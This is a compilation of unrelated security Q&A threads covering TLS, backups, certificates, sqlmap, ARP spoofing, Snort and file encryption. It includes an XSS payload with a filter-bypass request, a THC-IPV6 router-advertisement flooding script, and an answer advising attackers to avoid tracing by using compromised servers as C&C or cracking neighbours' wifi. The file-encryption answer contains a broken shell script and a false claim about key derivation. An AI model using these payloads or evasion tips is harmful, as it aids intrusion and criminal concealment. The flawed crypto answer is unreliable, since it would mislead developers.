Is flushing of all caches on any context switch between mutually-distrusting processes the only way to prevent cache timing attacks? This article demonstrates a devastating Javascript-based cache timing attack that allows for cross-VM tracking of mouse movements and other activities by web pages.

Is the only way to prevent cache-based snooping for the kernel to (1) never run mutually-distrusting processes on the same CPU die at the same time and (2) flush all caches on all context switches between mutually-distrusting processes?

Direct answer

Did you aleady read page 11 and 12 of this document, chapter 5.1, about Prevalence of Vulnerable Systems  and 5.2: Countermeasures?

If your system is really vulnerable, then yes, you have to flush cache of sensible information before accessing suspect web pages.

But if your cryptographic tool uses non-cached memory, they are not vulnerable...

You could use NON Intel or single core CPU... or ensure no Sandy Bridge, nor Ivy Bridge and no Broadwell micro-architectures are used in your hardware.

And keep your Intel-based servers away from optimised JavaScript.

Second time reflection

For my understanding, this paper is more a proof of concept than a exploit cookbook.

I mean, if this was possible in this specific configuration, by using this method and optimised javascript, We have to keep in mind that:

Cache attack is possible.

Regardless of requirement for this demonstration.

In fact, new multi-cores processors are insufficiently protected, due
to performance challenges.

And new optimisation at libraries level could make some unattended backdoor.

This exploit is hard to reproduce, but show that if processors constructors don't care, futur could become hazardous.


How to exchange private keys between server and clients? I am developing an encryption application but I do not have good ideas about how exchange the private key as securely around the internet.
I have some simple ideas like combine some data with client's mac address + minute but I do not mind it will work correctly.
Could you guide me?

I need something that is exchanging the keys like Tor.

Do not attempt to implement key exchange on your own. You should be using a standard library which makes this easy, such as libsodium. See the documentation on how to do that.


Functional Specification for Common Criteria EAL 1 evaluation I want to write a functional specification for CC EAL1 evaluation, There is an example in CC part 3 document but it is not enough complete, Are there any template or sample of a functional specification for CC EAL 1 ?

Check out the guidance from the German scheme, on page 83 of the following document:

http://www.commoncriteriaportal.org/files/ccfiles/CommonCriteriaDevelopersGuide_1_0.pdf


Does theft of the webserver's private key allow retro-active decryption of previously logged transmission? Assuming one is logging all data between the client browser and the HTTPS server, is it possible to later decrypt that logged data, once the private key has been stolen from the webserver?

Or, perhaps separate private keys are generated on the fly for data transmission (independent of certificate signing) in which case that would not be possible?

In other words, does HTTPS provide forward secrecy?

Retroactive decryption is possible for all connections that used RSA key exchange, but not for all connections that used DHE or ECDHE. Non-PFS key exchanges are not allowed for http2 and are deprecated in tls1.3, but are sadly widely deployed.

In September 2016, SSL Pulse [1] surveyed 139,141 sites and of those, 17,504 had no PFS cipher suites enabled, 43,422 had some PFS cipher suites enabled, 39,616 used PFS with modern browsers and 38,607 used PFS with most browsers.

1 - https://www.trustworthyinternet.org/ssl-pulse/


Is this approach to backups secure? I've got an existing (personal) backup service which I'm rewriting from the ground up to be secure.

At present, I just store files (and diffs) in AWS S3 with no encryption. It works fine but I'd like to make sure my data can't be leaked.

For the sake of this discussion, I'm assuming the S3 data can be read by someone else. I want to be able to to backups without having to provide a key/password on startup.

My current plan is as follows:

Generate a public/private key pair. Store the private key somewhere safe (without writing to local disk). Store the public key locally.

On a per-file basis (or part of file):

Securely generate a symmetric key
Use the symmetric key to encrypt the file
Encrypt the symmetric key using the public key
Store the IV, encrypted symmetric key and encrypted file data in S3

Am I correct in assuming that even though all the data from the last point above can potentially be read by someone else, the fact that the private key is required to recover the symmetric key means this is secure?

Am I missing anything obvious?

The basic design you propose is secure. Of course, the security of any working system also depends on the implementation.

However, using public key crypto for backups has little benefit compared to symmetric crypto. The usual arrangement for backups is to have a symmetric key. You store this in two places: your working machine, and in a secure, safe, offline backup. There's no real risk around having the key on your working machine; it is only used to encrypt data that is already present on that machine.

Symmetrically encrypted backups are supported by a lot of software, e.g. Duplicati. This can even do incremental encrypted backups, which I think would be impossible with the public key approach you propose.


Is it okay to just secure (using SSL) the login page, but not the rest of the site? Possible Duplicate:
  What are the pros and cons of site wide SSL (https)?

I'm creating a custom PHP/MySQL CMS for a client (because Wordpress is overkill for this client's particular needs). Now, I know this client uses a public wi-fi location quite a bit, so here's the question.

Say the CMS is located at http://customcms123.com and the login page is located at http://customcms123.com/admin

Does it make sense to encrypt just the login page, i.e. ? So once the user authenticates and goes to another page, say contact, it would look like http://customcms123.com/admin/contact.php (not httpS in this case).

Is it possible for a packet sniffer (or any other tool) to detect the login credentials once the user has logged in? To rephrase the question, is it sufficient to secure just the login page?

I'm not a network guy, so I'm not sure what data gets transmitted over a public wi-fi as seen from a sniffing tool and what not.

That's really a question based on the needs of your site and it's users.  SSL provides two main services.  For one, it validates the identity of the server that the user is connecting to for the user.  It also protects the transmission of sensitive information from the user to the server.

If the majority of your site is not sensitive if spoofed and does not require the user to transmit sensitive information, then there is no reason it is necessary to use SSL on the rest of your site.  It is worth noting that if the user is accessing the site via a non-SSL protected page, it is possible for someone to jump in between the user and the website and hijack the session, so the identity of a logged in user should generally not be trusted outside of an SSL connection, but this is also not always a problem, depending on your security needs.

As for your question about when credentials are transmitted, as long as your site is configured correctly, once a session is associated with a user, the credentials should not need to be retransmitted in the clear.  The exact details of how the session is maintained would depend on what approach is being used, but most generate some kind of token or unique identifier upon authentication and transmit that instead.  The identifier then becomes invalid when the session expires.


ip_forward reverting back to 0 during ettercap subnet scanning Im trying to arp spoof a local network but the /proc/sys/net/ipv4/ip_forward is reverting back to 0 when ettercap is performing subnet scan on a network hub. Even if i change it back to 1 after the subnet scan wireshark doesn't seem to get all http data from the scanned hosts. Majority of the packets that wireshark intercepts are MDNS,ARP,OCSP.

Read the doc man ...

Based on the manpage:

  It has two main sniffing options:

  UNIFIED, this method sniffs all the packets that pass on the cable.
  You can choose to put or not the interface in promisc mode (-p
  option). The packet not directed to the host running ettercap will be
  forwarded automatically using layer 3 routing. So you can use a mitm
  attack launched from a different tool and let ettercap modify the
  packets and forward them for you. The kernel ip_forwarding is always
  disabled by ettercap. This is done to prevent to forward a packet
  twice (one by ettercap and one by the kernel). This is an invasive
  behaviour on gateways. So we recommend you to use ettercap on the
  gateways ONLY with the UNOFFENSIVE MODE ENABLED. Since ettercap
  listens only on one network interface, launching it on the gateway in
  offensive mode will not allow packets to be rerouted back from the
  second interface.

In short, depending on the mode used, ettercap disable ip forwarding since it forwards packets by itself.

I guess you're probably using the UNIFIED mode ...


Reverse shell would expose attacker? Could you guys help me understand reverse shells better?

Would an attacker be exposed when using a reverse shell in a real attack?

For example, if I have a reverse shell on a Linux VM that connects back to my Linux machine. The backdoor contains my IP, so if the Server Admin identifies it he knows where the connection is going to, right?

The problem is, in order to achieve this in the real world, the backdoor would use the REAL IP of the attacker. This would lead to the attacker being easily tracked down?

Am I missing something? How do people use a reverse shell and don't get caught?

You are correct. In fact, many defense systems are designed to look for the traffic going out to a C&C server, and the traffic details would identify the destination (the attacker's C&C server).

So, the attacker needs to take this into account and design around this problem.

The obvious solution is to not make your own personal PC the C&C server. Instead, use another compromised machine (unsecured web servers make great C&C).

If the attacker needs to connect directly, then the simplest options are to use free public wifi, crack a neighbour's wifi, VPNs, proxies, TOR, or use a burner SIM card. Something to obfuscate the attacker's IP or borrow another one.


Excel 2007 Encryption Strength With a strong password of 10+ characters, mixed case, etc... is the encryption of an Excel 2007 document secure enough to create reasonably strong defense against a brute force attack?

What encryption method does Excel 2007 employ?

According to the Microsoft whitepaper and a few other MSDN blog sources, the following specs are defined:

Key derivation is performed using 50,000 iterations[source] of SHA-1 (increased to 100k in SP2).
Uses a 16-byte (128-bit) random salt.
AES is the block cipher used to encrypt the document.
By default, 128-bit key are used. There is a registry tweak to change this to 256-bit.
The AES block cipher is implemented in Microsoft's CSP / CryptoAPI.

Older versions of Office use RC4, which is now deprecated and not recommended.
In summary, I'd say yes, with a good password this is going to be difficult to crack.
Modern GPU hash cracking tools can reach around 3.2 billion hashes per second on a powerful graphics card. With the default options, the KDF used will reduce that to roughly 64k hashes per second.
Assuming ten characters (a-z, A-Z, 0-9) you're looking at a key space of 840,000,000,000,000,000 (8.4x10^17) possible passwords, so that's around 210 thousand years before you hit a 50% likelyhood of cracking the password.
If you're storing financial information, take a look at these registry tweaks for Office 2007 SP2 that allow you to alter some security parameters. For a decent increase in security, set the CipherKeyBits value to 256, and the PasswordSpinCount value to 1,000,000 or higher. At that point, I'd personally trust it to be reasonably safe against even determined attackers. If you're super-paranoid, you could always put the files in a TrueCrypt volume too!


Login required before SQLmap I have a multipart form data where I am suspecting one of the multipart form fields (parameter named htmlbevt_id), to be vulnerable to SQLi. To test for the same I captured the request using Burp and saved it in a file, say myFile. Now on SQLMap I ran the following command:

  sqlmap -r /root/Desktop/myFile -p htmlbevt_id

I get the following error message:

  unable to connect to the target URL or proxy. sqlmap is going to retry the request

Am I missing something?

Am I required to login to the application before I run the above query? If so, how do I make SQL recognize the login? I mean is it that I need to login to the application from the browser and then run the above query (in which case I am not certain how exactly would SQLMap get to know that I am already logged into the application), or is there a different way to do this ?

Through some further googling i learned that --cookie needs to be used to replay the session authentication in SQLmap. Also since the request is a POST, some forums suggest the usage of
--data as well, which I did. None of this has however been useful so far. I tried -v 6 to debug and see what was going wrong. And SQLmap reports "not a valid WebScarab log data". Not sure if this is the cause of the error.

Ok, a lot of the problem was solved. So now with the help of CO2 extension for Burp I was able to replay the entire traffic of the multipart POST request, along with all the session cookies, through SQLMap.

  But now there is a different problem that I am facing. While I check for the application in the browser the session is still alive. But while scanning the SQLi injectable suspected parameter with SQLMap (I set verbose level to 3) I found that the server was returning a HTTP 400 session time out.
  What could be going wrong and is there a way to keep the session maintained while SQLMap does the scanning ?

Are you able to replay the request in burp? (Send To Repeater => Go)

If so the easy way to get this into SQLMap is to use the CO2 extension which adds "Send to SQLMap" in the right-click menu this gives you the command-line to give to SQLMap with all your cookies and any data in the request.


using dsize:<500 parameter in snort I am tring to make rule to alert when downloading jpg file less than certain size . i used parameter dsize:<500;
But it is not alerting when i tried to run pcap file containing jpg less than 500MB. can someone please tell me if that paramenter correct
regards,

The parameter is not correct. As documented:
3.6.7 dsize
The dsize keyword is used to test the __packet payload__ size. This may be used to check for abnormally sized packets that might cause buffer overflows.

Thus, it is about the payload of a packet. It is not about the payload size of a HTTP body, since the body can be spread over multiple packets, it can be or start in the same packet as the HTTP header, it can be compressed ...


When accepting an SSL certificate, can I limit for which domains I accept it? Many organizations (e.g. companies, universities, ...) have internal sites and services for which they use SSL certificates issued by an internal CA, that isn't trusted by browsers or operating systems by default. Usually, all potential users (e.g. staff, students) of these services are known, and thus can be instructed to install the internal CA's root certificate on their devices. (Or, for devices provided by the organization to the users, the organization's IT department might install the root certificate as part of the setup.)

Usually, all services with such internal-CA-issued certificates are on (subdomains of) one or at least only few domains. Despite that, the internal CA usually has a root cert able to sign arbitrary certificates. (I.e., a root cert not using the Name Constraints extension to voluntarily limit itself.)

When installing such a root certificate as a user, can I limit the acceptance to a set of domains I specify and their subdomains? If yes, how? I'd like to install the root cert, so that I don't have to tell my browser to make an exception for each and every individual certificate or service, but I'd still like to not enable the organization to unnoticed break open my SSL traffic to external (i.e. third party) services and websites, which they could easily do when I'm accessing those through their network. (E.g. accessing https://security.stackexchange.com/ from work.)

For the sake of this question, let's assume that

I have full control over the client device (e.g. a BYOD laptop or smartphone)
I'm allowed to deviate from the root cert installation instructions (if any)
while the organization and/or its IT department are in a position to break open outgoing SSL traffic originating in their network, they are supposed to not do so and it's also not expected they would do so without prior notice (i.e., I as a user am not expected to let my SSL traffic be broken open, even when/while in the organization's network)

In case it matters for the "how" part of the question: I'm using Mozilla Firefox on Linux (specifically NixOS), but I'd also be interested in solutions that are applicable to other setups.

Nope.
At least not in a way which is fun or scales well.
While technically what you want is absolutely possible, practically the infrastructure to cut down permissions from the regular binary "complete unconditional trust"/"no trust at all" to something in between the two extremes is not really there.
While it's a relatively straightforward idea there is just no interface that I know if that would allow you to apply name constraints or other constraints to a CA (or anywhere else on the certificate path).
What you COULD do is manually PIN things. Which is a way of whitelisting exactly what you expect of a certificate chain before you accept an end-entity certificate that is part of that chain. Typically the idea is to PIN (explicitly whitelist) the public key of a cert on the cert chain. -- That's the idea at least. Again there is no great UI. -- However I have come across a Firefox extension in the past that tried to do something roughly similar. However I found it very cumbersome and unpractical. Also I don't know if it's still supported. But if you're really, really determined, you might give it a try: "Certificate Patrol": http://patrol.psyced.org/


What is an intermediate certificate authority? What is meant by an "intermediate certificate authority?"

Any CA can be an "intermediate CA". Because "being intermediate" is defined by how the verifier sees it.

When you validate a certificate, you verify the signature which has been generated over that certificate by the CA which emitted the certificate. This signature is verified against the CA public key. If you know the CA public key "inherently" (e.g. it is one of the CA public keys distributed with the operating system), then the CA is a trust anchor, also known as root CA. On the other hand, if you know the CA public key only through validation of a CA certificate (a certificate issued to that CA by another CA), then the CA is deemed "intermediate". One can see the name "intermediate" as describing where the CA is in the chain of trust: the trust anchor is at the beginning, the end-entity is at the end (duh!), and anything in-between is "intermediate".

I can issue certificates for any CA, even without their consent or even awareness, by simply taking the certificate contents and resigning them with a key of my own. This means that every single CA on this planet is, potentially, an intermediate CA.


Non English password dictionaries What is a good resource for wordlists used in auditing passwords in non english languages. I have extensive wordlists in English ranging to several GB's, but can't find similar resources for other languages.

If you see this question here: Where can I find good dictionaries for dictionary attacks? you will find many good sites for downloadable dictionaries. However for language specific dictionaries I would recommend these:

inside.pro.
ox.ac.uk

They got a whole lot of different languages.


Is Windows 10 Vulnerable to IPv6 Router Advertisement Flooding? In a DEFCON 19 video Sam Bowne says that windows 7 machines CPU goes to 100% if you send a bunch of IPv6 Router Advertisement requests on a network. What would happen to a Windows 10 machine? Would it be the same, worse or would just nothing happen?

The video is from DEFCON 19 i.e. from August 2011.

This is easy to test by starting such an attack from Kali Linux that comes with THC-IPV6 fake_router26, e.g.

#!/bin/bash
for i in {100..999}
do
    atk6-fake_router26 -A 1:c0f:fee:$i::/64 -n 1 eth0
done

By monitoring the Windows 10 target machine during the attack we can clearly see the difference:

The increase in CPU utilization is noticeable but not dramatic. However, more noteworthy is that it stops after a while despite the attack is still ongoing. That's because Windows 10 stops adding new IPv6 addresses after reaching 100 addresses (while we were trying to add 900 addresses):


If no maximum length is placed on a password, can't collisions occur? As I was thinking about storing password hashes in a database, it dawned on me that there might be hash collisions if there is no set maximum length for the password being hashed.

My understanding is that any password will generate a fixed-length hash (say 128bit). So, as soon as 2128 + 1 unique passwords are used, then we have a collision (due to the pigeonhole principle), while it is technically possible a collision occurs much sooner depending on the on the hash algorithm.

Granted no collisions exist until the pingeonhole principle is satisfied, it seems rather absurd to have approximately 3.403e+38 unique passwords stored, so I can understand perhaps it is negligible to impose a password maximum.

Is there a legitimate concern to not having a set maximum of characters for passwords (with regards to hash collisions)?

This is related to this question.
As mentioned by curiousguy, is it true that the "impact of hash collisions is non existent"?

For starters, hash functions are supposed to be basically random, so the length of the input string doesn't matter. The probability that two random 3-character strings hash to the same thing is the same as the probability that two random 100-character strings hash the same.

For modern hash functions (SHA1,SHA2, not MD5) their structure is mathematically complex enough that we can't say very much about it algebraically. Also, the space of possible input strings, even of length 32, is so huge that we can't experimentally check all of them. So, we don't actually know how many collisions there are within the first 2128 strings (strings whose binary representation are 1, 10, 11... 2128). In theory there should be some, but as far as I know, we haven't uncovered any yet for SHA1 or SHA2. So your intuition that capping the length of the input strings to less than 2128 bits will eliminate the risk of collisions isn't quite right.

In any case, let's assume there are pairs of passwords within the first 2128 strings that have the same hash, the probability that you will hit one in your database is roughly <number of entries in db> / 2128.

The reason that

  the "impact of hash collisions is non existent"?

is that 1/  2128 is such an unimaginably small number that even if you wrote a program to generate random passwords until the sun ran out of energy, you still wouldn't expect to see a single collision by random chance. (If someone's actively trying to do a collision attack, then that's a different story).

Consider also how the risk of a collision (~ 1/2128) compares to the risk of a standard dictionary attack. According to the 2013 Adobe password leak, 1 out of 68 accounts on the internet use the password 123456. 1/68 is a MUCH bigger number than 1/2128, so the fact that a single guess of 123456 has a 1/68 chance of being right is a MUCH more important thing to worry about than theoretically-possible-collisions. Solution: allow (or enforce) long non-dictionary passwords, use a unique salt for each password hash, and don't worry about collisions.


Using skype for an attack I am curious about something; let's say someone randomly added me to Skype and tried to initiate a chat with me and I want to know more about them but I am worried if they can do some damage.

My question is, how dangerous would it be to have a voice call with someone you don't know on Skype ?
What can a potential attacker do?
If anything, how far can they go?

They may be able to gather some details about your connection since I believe that Skype at least used to go direct from one user to the other when in a voice call, so they could potentially identify your IP address, however they would be limited to what Skype allows them to do or any bugs in Skype allow for.  If Skype is bug free, they shouldn't be able to do much of anything, but if someone found an exploit in Skype, then it could be anything.  It's probably not super likely that someone has an exploit for Skype that is being used in the wild a lot that hasn't been detected yet, but it's always a possibility.


FireFox inadvertedly increasing security? With the known advent of Flash-based cookies and recently something called super-cookies, security and anonymity has become something more of a luxury rather than the norm and merchants want to super-track all of us whenever they can.

I was using FireFox the other day and noticed that the permissions bar wanted to run some Flash content so I clicked "Allow Now" and the page refreshed.

Upon refresh nothing new nor interactive was added to the screen.

Did FireFox thwart a tracking attempt?

Picture for reference:

Firefox allows you to configure most extensions (including Adobe Flash) to always ask before running. That behavior is what you see here. Rather then inadvertently increasing security this is purposely meant to increase security. Once this is setup you will notice that many sites ask for flash player without any (visible) flash content. Many of these are tracking attempts, however I cannot comment on a single site without evaluating its flash content.

If you want to avoid flash tracking tell Firefox to always ask and only turn on flash when there is some Flash content on the page that you care about.


Is github doing anything to prevent e-mail scraping? For over a year, I've had my e-mail address displayed in the README.md on one of my github repos. When accessing it from a browser, it shows up both in the text and as a mailto: link. It doesn't seem like the e-mail address is rendered in Javascript or anything of that nature.

My understanding from 10+ years ago was that if you left an un-obscured e-mail address just sitting around on a crawl-able page, spammers would find it and put you on all kinds of lists pretty quickly, but I don't seem to be getting an inordinate amount of spam from this.

I'm wondering - has the e-mail-harvesting landscape changed in some way, or is there something that github might be doing that prevents it from being used to harvest e-mails? I ask because I'm planning on setting up a basic personal website, and I'm wondering if I can just display my e-mail address on the page without worrying too much about spam.

I think the answer is that spam filters have got better, and spam so wide-spread it's probably that you are getting the spam but it isn't being delivered to your inbox.


Should I request a CVE for bugs in number-crunching software? I found several memory bugs in a number-crunching software which I uses daily (for fun) using valgrind and address sanitizer. I have contacted the author and he is now working hard to track down and fix the bug.

Should I request a CVE for it? I am asking because I also maintain it for a distribution.

Should these bugs be considered serious? Usually you don't run the program as root, but the program does not prevent you from doing so either. Should I change the wrapper script so that it drops root privilege and dies if it can't?

Thanks you!

If this is truly a vulnerability then yes get a CVE.  But remember, all bugs are not vulnerabilities.  Looking at the previous comments, if an attacker could take over a website or make it crash then yes, that's definitely a vulnerability.


What tools are available for distributing and syncing firewall rule-sets to multiple devices? I am looking for a solution to be able to distribute and sync firewall rule-sets to multiple devices. There are a few solutions out there such as Playbook by Matasano but it comes with an expensive price tag.

Is anyone familiar with any other solutions that are cheaper or ideally free and allow for the syncing of Cisco and iptables rule-sets?

A couple engineers I know are using puppet to maintain iptables rule sets.

http://projects.puppetlabs.com/projects/1/wiki/Module_Iptables_Patterns
https://github.com/camptocamp/puppet-iptables


Merchant sent email to me with all my Credit Card info Is there some place for a consumer to file a complaint concerning improper use of credit card information?

I gave my credit card to a towing company and they sent me a receipt via email with all of my credit card info in the notes field.  The email sent is in no way secure.

Is there a government agency where I can file a complaint?  I believe my credit card is now compromised and I am going to cancel it and get it reissued.  I don't believe this company has a clue about the risk they are placing their company in.

(Note: Not a PCI QSA, just know some PCI and PII stuff)

Violating the Payment Card Industry Data Security Standard is not a violation of the law.  The PCI DSS is an agreement between the payment card companies (VISA, etc) and the processors about how data will be secured.

The towing company is likely in breach of an agreement with their processor by doing this - and almost certainly would be more liable in case of leaked information.

If the email indicates the credit card processor, you could contact them.  You could also contact the towing company directly.  Lastly, as @Matthew suggests, you should let the bank know when you cancel.

A further possibility is to look at the Personally Identifiable Information statutes in your state (assuming you are in the US).  PII statutes vary widely depending on your location, but they widely consider the credit card number (known as the PAN) as counting as PII (along with the other personal information presumably in that email).  If your location has a privacy commissioner, you could raise it with that department.  Most PII statutes have requirements that companies treat PII with appropriate care and there are some significant penalties for not doing so in many jurisdictions.

For PCI, you can look at this info sheet on reporting violations


How to start researching information security I want to go into information security, and i do not know how to start. I know the basics, but are there like any good sources for papers written about the subject?

A few possible places to start:

This community is a very good source of relevant topics. Though it may be too technical sometimes for the inexperienced.
As far as I know, the best way is to just be curious. Read about this topic and when you encounter something you are not familiar with, read about that as well.
Curiosity will not get you everything though, and you will probably need to spend some time and learn about how computers work and communicate. Resources about that are pretty easy to come by.
Since information security is an ever changing topic, with constant advances every day, a good place to read and learn are infosec news outlets. Some that I would recommend: Security Now - a very good infosec podcast that is easy on beginners but gives an in depth coverage. And some text news websites - Dark Reading, Naked Security, Google's project zero, Darknet, Malwarebytes labs blog and there are many many more!

Good luck!


Security considerations in storage of audit logs How can I securely store audit logs of activity from a system such as together with source data or separately off site?

As an IT auditor, let me give you an answer from experience.

Segregation of duties - SOD

It is a good practice and core principle to segregate employees who operate or administer the system from which audit logs are produced from employees such as myself, with responsibilities to review these logs for fraud / malicious activity / security vulnerabilities. If these duties are not segregated, then a single individual can undermine the system by making a malicious change, and cover his wrongdoing by modifying the audit logs to hide his actions. To illustrate, the following individuals in general should not have access to log data.

Security administrators
Computer operations personnel
Data base administrators

To expand on the above examples, if a security administrator has access to logs data, he can escalate his own privileges to allow for improper access greater than is appropriate for his job duties, a violation of the security principle of Least Privilege. To prevent or deter detection, he can delete and / or falsify values for log entries of date, user ID...etc. The same reasoning applies to items 2 and 3.

To prevent the aforementioned, logs can be centrally stored in a server in which access is strictly controlled to individuals with specific roles - RBAC. Periodic review of individuals having access to logs should be conducted and improper access rights should be removed immediately upon discovery.

Secure storage of logs

Log data should be backed up on a regular basis and the backup should be stored offsite away from main company operations. This is to ensure that if a disaster (ex: Fire or flood) were to occur at the main company site, data loss will be mitigated.If logs contain sensitive information, log backups should be encrypted using strong cryptography such as AES 256. A written method, such as receipts should be used to track shipping and receipt of these logs. Periodically, a reconciliation of backup media should be taken against the tracking documentation, with any failed reconciliations promptly investigated.

Monitoring procedures regarding security and confidentiality of backup storage should be documented. If these responsibilities are delegated to a third party to perform, SLAs and a contract should ideally be in place, explicitly specifying the duties of each party (Company and vendor), and ideally include a right to audit clause in the contract. Log retention length of time should be documented in a retention policy known to all individuals with a job role of handling backups.

Finally, to learn more, this is an authoritative source from ISACA.


IPSec Tunnel Creation process The IPSec tunnel creation process involves 2 steps:

The ISAKMP Phase

The IPSec Phase

What is the reasoning behind having the two phases? From what i see, the first phase is already encrypted using pre-negotiated keys and the tunnel established is used to negotiate the parameters for the second tunnel.

If the first phase is considered secure, why the need for the second phase. And if the first phase isn't secure, can't an attacker theoretically compromise it and gain the information about the second phase thereby compromising it as well?

Different parties are being
   authenticated during each of the phases of negotiation.  During the
   first phase, the parties being authenticated are the ISAKMP
   servers/hosts, while during the second phase, users or application
   level programs are being authenticated.

If you look at the RFC of ISAKMP, in the section 2.3 (Negotiation phase) it talks about advantages of such implementation:

  While the two-phased approach has a higher start-up cost for most
     simple scenarios, there are several reasons that it is beneficial for
     most cases.

  First, entities (e.g.  ISAKMP servers) can amortize the cost of the
     first phase across several second phase negotiations.  This allows
     multiple SAs to be established between peers over time without having
     to start over for each communication.

  Second, security services negotiated during the first phase provide
     security properties for the second phase.  For example, after the
     first phase of negotiation, the encryption provided by the ISAKMP SA
     can provide identity protection, potentially allowing the use of
     simpler second-phase exchanges.  On the other hand, if the channel
     established during the first phase is not adequate to protect
     identities, then the second phase must negotiate adequate security
     mechanisms.

  Third, having an ISAKMP SA in place considerably reduces the cost of
     ISAKMP management activity - without the "trusted path" that an
     ISAKMP SA gives you, the entities (e.g.  ISAKMP servers) would have
     to go through a complete re-authentication for each error
     notification or deletion of an SA.


File encryption that supports random read access? I'm looking for a file encryption algorithm (or library) that supports efficient random access to the cleartext. That is, given an encrypted file, I need to be able to repeatedly read arbitrary byte-ranges from the cleartext with as little overhead as possible.

The only thing like this that I've found is SQLCipher, but (as the name implies) it's a special-purpose plugin for SQLite that only supports encrypting SQLite database files. I need something general-purpose.

This clearly isn't rocket science: I imagine one would do it by breaking the file into fixed-size chunks and encrypting each chunk with a symmetric cipher like AES. I'd need to use a different key for every block (derived by combining a master key and the block offset?), and I'd want an in-memory LRU block cache for performance. But it's fiddly enough that I'd much rather use an existing library than design it myself and run the risk of getting something disastrously wrong.

If I did have to design this myself, my main question would be key derivation: is it safe to derive each block's key from a master key and the block offset -- something like SHA2(masterkey || offset) -- or do I need to generate a random key for each block? (If the latter, those keys will need to be stored in the file, which makes it a bit trickier to keep the file chunks on filesystem block foundaries

I'm looking for a file encryption algorithm (or library) that supports
  efficient random access to the cleartext. That is, given an encrypted
  file, I need to be able to repeatedly read arbitrary byte-ranges from
  the cleartext with as little overhead as possible.

What you are asking is highly dependent on the encryption primitive. You can't have arbitrary access to the plaintext without decrypting the ciphertext on each access. To reduce overhead you can decrypt the whole file once, cache it, and use it afterwards or, depending on the encryption scheme, store the minimum required amount of parameters needed to decrypt the needed information. For example, (secure)block ciphers chain all previous blocks prior to the encryption of the current one. Thus it is sufficient to know the output of the previous one(and the key) in order to decrypt the current block. Knowing the length of the block, the initialization vector(if used) and the decryption key you can store the outputs of each block. Unfortunately, in the case of AES, this does not reduce storage requirements(as you will be storing data with the length of the whole plaintext). However, depending on the segments of the file being used you can estimate a usage probability and cache the plaintext only for those entries. Practically, it is difficult to implement due to the (very) likely different offsets of useful plaintext and blocks.

  This clearly isn't rocket science: I imagine one would do it by
  breaking the file into fixed-size chunks and encrypting each chunk
  with a symmetric cipher like AES. I'd need to use a different key for
  every block (derived by combining a master key and the block offset?),
  and I'd want an in-memory LRU block cache for performance. But it's
  fiddly enough that I'd much rather use an existing library than design
  it myself and run the risk of getting something disastrously wrong.

A makeshift solution would look like:

makeshift_crypto.sh

#!/bin/bash
d1="enc/"
d2="dec/"
# Split the file into separate files of 1000 bytes each, suffixed by _bigFile
split -b 1000 bigFile.tar.gz --additional-suffix=_bigFile
# Encrypt each file using aes256 cbc(with salt)
for fl in *_bigFile; do $ openssl enc -aes-256-cbc -salt -in "$fl" -out "$enc""$fl"; done
# Decrypt each file
for fl in `ls "$enc"`; do openssl enc -aes-256-cbc -d -in "$enc""$fl" -out "$dec""$fl"

  If I did have to design this myself, my main question would be key
  derivation: is it safe to derive each block's key from a master key
  and the block offset -- something like SHA2(masterkey || offset) -- or
  do I need to generate a random key for each block? (If the latter,
  those keys will need to be stored in the file, which makes it a bit
  trickier to keep the file chunks on filesystem block foundaries

No, it is not safe, as getting the key from block i(i is an index to that block) would allow retrieving all remaining keys n - i where n is the number of keys(blocks) and 0 <= i < n. Key management complexity also increases with the number of blocks. It is safe to use a single key for all of them(as you would if you would encrypt/decrypt the file entirely).


Cloud provider for Penetration Testing I wish to set up a Kali Linux box on a cloud provider in order to perform same day penetration tests.

The issue I am having is finding a cloud provider such as AWS, Azure etc. for this.

For AWS they require an application to be filled for each penetration test which can take up to 2 days for a reply (which may be to ask more questions), and as far as I can see Azure and Google Cloud only provide guidance on incoming penetration testing rather than the box supplied by them being the origin of the traffic.

When searching for an answer to this I similarly only seem to come up with answers for incoming rather than outgoing traffic.

Are there any good cloud providers for penetration testers which don't require lengthy approvals per test? A one time application with a few days wait would be fine, but having to apply for each test would get in the way of performing same day testing.

I have been sent an article by Azure Security Program Manager saying that Azure can be used for outgoing penetration testing with a few stipulations, mainly focused around ensuring that the outgoing tests don't affect other Azure users, e.g. outgoing DDoS slowing down the network.

https://blogs.msdn.microsoft.com/azuresecurity/2016/08/29/pen-testing-from-azure-virtual-machines/


Exploiting XSS in jQuery without equal character? This is some vulnerable JavaScript code:

$(document).ready(function(){
    var payload = unescape(document.location.hash.substr(1));
    $(payload);
    document.body.innerText = "The payload is: " + payload;
});

When I tried exploiting it with this input

http://localhost/xss.html#<img src=x onerror=alert(0)>

it worked fine, popping up the alert. My case is slightly different, there's a little filter that prevents the exploit:

$(document).ready(function(){
    var payload = unescape(document.location.hash.substr(1));
    payload = payload.split('=')[0];  // <------- The new filter
    $(payload);
    document.body.innerText = "The payload is: " + payload;
});

It truncates everything after the "=" character, which means I can't inject attributes. I already tried the following, but it did not work:

HTML encode the equal character (onerror&equal;alert())
<script>alert(0);</script>

Anyone have an idea what I can do to bypass this filter?

I think it is safe to say at this point that there is no trivial/text-book bypass for this filter using a modern browser. I shared this snippet of code with a group of friends and colleagues who I consider proficient in XSS and none of them could construct a bypass.


Bootstrapping dual SMIME certificates for signing and encryption? To maintain the non-repudiation property of signing while still having escrow for the encryption key, it's recommended to have a separate certificates (and pub-priv keys) for signing (say CertSign) and encryption (say CertEnc).

Assuming a certain Alice with Alice-CertSign and Alice-CertEnc, from a practical perspective (modern mail clients), how are those two certificates distributed to Bob, Charlie, David etc so they can verify messages from Alice and send her encrypted messages?

If Alice sends a blank message to folks, would/does her email client send a concat of Alice-CertSign and Alice-CertEnc as an attachment? Any de-facto or de-jure standards on this bootstrap problem?

Driving this curiosity is a single-certificate experiment I just did via Comodo's free SMIME certificates. It does signing and encryption in a single certificate with non-repudiation bit NOT set (unsure if they keep a copy ... "behind"). On iOS6 that sends that single certificate as well as a signature inside as the smime.p7s attachment (which I couldn't run through openssl cms... - openssl pkcs7 ... only dumps certs).

The de jure standard is RFC 5751. In particular, see section 2.5.3: among the attributes which can be attached to a signature (a SignerInfo) is one called "SMIMEEncryptionKeyPreference" which identifies the certificate that the sender would like people to use when they send encrypted replies to him. The certificate itself is supposed to be included in the CertificateSet attached to the SignedData object.

Beyond the ASN.1 jargon, this means that the bootstrapping works thus: user A sends to user B a signed email; the signature not only authenticates the email itself, but includes a set of attributes which give to B enough information to send an encrypted reply to A, in particular A's encryption certificate, and an unambiguous designation of the specific certificate to use for encryption, in case the certificate contents are not enough (for instance, if user A has a certificate with a Key Usage extension which marks it as "signature only", and another certificate which is marked as "encryption only", then there is hardly any ambiguity).

